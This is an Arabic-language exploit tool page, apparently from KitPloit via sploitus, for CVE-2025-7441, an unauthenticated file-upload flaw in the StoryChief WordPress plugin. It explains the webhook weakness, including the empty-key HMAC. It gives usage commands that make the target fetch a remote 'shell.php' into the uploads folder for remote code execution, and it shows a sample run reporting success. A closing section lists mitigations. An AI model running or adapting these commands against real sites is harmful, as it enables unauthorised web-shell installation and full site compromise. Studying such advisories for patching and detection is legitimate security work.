## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ANOTHERSEC-CVE-2025-7441

# CVE-2025-7441 StoryChief 1.0.42 - رفع ملف تعسفي
## الثغرة (CVE-2025-7441) - ملخص فني
* **المكون المتأثر:** إضافة StoryChief لووردبريس
* **نوع الثغرة:** رفع ملف تعسفي بدون مصادقة
* **نقطة النهاية المعرضة:** `/wp-json/storychief/webhook`
* **السبب الجذري:** تقبل الإضافة حمولة JSON webhook تحتوي على رابط (تحت `data.featured_image.data.sizes.full`) وتقوم بجلب HTTP GET من جانب الخادم لذلك الرابط دون تحقق كافٍ (لا توجد قائمة نطاقات مسموح بها، فحوصات MIME/محتوى غير كافية، ويتم حفظ الملفات تحت مسارات رفع عامة).
* **التأثير:** يمكن لمهاجم غير مصادق أن يتسبب في جلب الخادم لمحتوى يتحكم به المهاجم وتخزينه في دليل رفع ووردبريس (مثل `wp-content/uploads/YYYY/MM/<filename>`). إذا كان الملف المرفوع يمكن تفسيره/تنفيذه من قبل الخادم (على سبيل المثال، ملف PHP والخادم يسمح بتنفيذ PHP هناك)، يؤدي ذلك إلى تنفيذ كود عن بعد (RCE) واختراق كامل للموقع.
* **CVSS (مثال):** 9.8 (حرج) — تعتمد الشدة على تكوين الاستضافة وتصاريح التنفيذ.
* * *
## حول هذا الإثبات (`CVE-2025-7441`)
يقوم هذا السكريبت بأتمتة سير التحقق النموذجي من الثغرة:
1. بناء حمولة JSON webhook تضع رابط ملف بعيد في `data.featured_image.data.sizes.full`.
2. حساب توقيع HMAC-SHA256 على الحمولة (يحسب السكريبت باستخدام مفتاح فارغ افتراضياً) وتخزينه في `meta.mac`.
3. إرسال POST للحمولة إلى `<site_url>/wp-json/storychief/webhook`.
4. التحقق من وجود الملف المطلوب في مسار الرفع المتوقع:
<site_url>/wp-content/uploads///
إذا استجاب الملف بـ HTTP 200، يبلغ السكريبت عن النجاح؛ وإلا يطبع `<failed to upload>`.
يتضمن السكريبت العلمات التالية: `--file-url`, `--verbose`, `--use-curl`, و `--retries`.
## الاستخدام
python3 CVE-2025-7441.py <site_url>
### وسيط موضعي
* `<site_url>` — رابط الأساس للموقع المستهدف. مثال: `http://127.0.0.1:5000/` أو `https://target.example/`
### العلمات
* `--file-url` — تجاوز رابط الملف البعيد الافتراضي الذي يستخدمه الإثبات. الافتراضي: رابط GitHub خام عينة مضمن في الكود. مثال: `--file-url https://127.0.0.1:5000/zip.php`
* `--verbose` — تمكين المخرجات التفصيلية (يطبع تفاصيل الطلب/الاستجابة وتقدم الفحص).
* `--use-curl` — استخدام عملية فرعية `curl` لتسليم POST (وضع احتياطي). يتطلب تثبيت `curl`.
* `--retries` — عدد محاولات التحقق من مسار الرفع المتوقع للملف. الافتراضي: `1`. استخدم مثلاً `--retries 5` للاستقصاء عدة مرات.
* * *
## مثال الأمر
root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/
تحديد رابط ملف بعيد مخصص
root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
إخراج تفصيلي وفحوصات متعددة
root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
استخدام curl لتسليم POST
root@kitploit:~
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
المخرجات:
root@kitploit:~
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
### التخفيف
التخفيف والمعالجة على المدى القصير:
* ترقية StoryChief إلى إصدار مصحح فور توفره.
* حظر أو تقييد `/wp-json/storychief/webhook` عبر WAF أو قواعد الخادم.
* تقييد عمليات الجلب الصادرة من الخادم أو حركة المرور الخارجة إلى النطاقات غير الموثوقة.
توجيه للمطورين:
* التحقق من أنواع الملفات ومحتواها بعد أي جلب عن بعد؛ التحقق من الصور باستخدام محللات آمنة ورفض الملفات غير الصالحة.
* طلب المصادقة للwebhooks التي تسبب تنزيلات من جانب الخادم أو إنشاء ملفات.
* ضمان تنفيذ التحقق من HMAC/التوقيع وتطبيقه.
* تخزين المحتوى المرفوع خارج جذر الويب أو تعطيل تنفيذ الملفات المرفوعة في wp-content/uploads.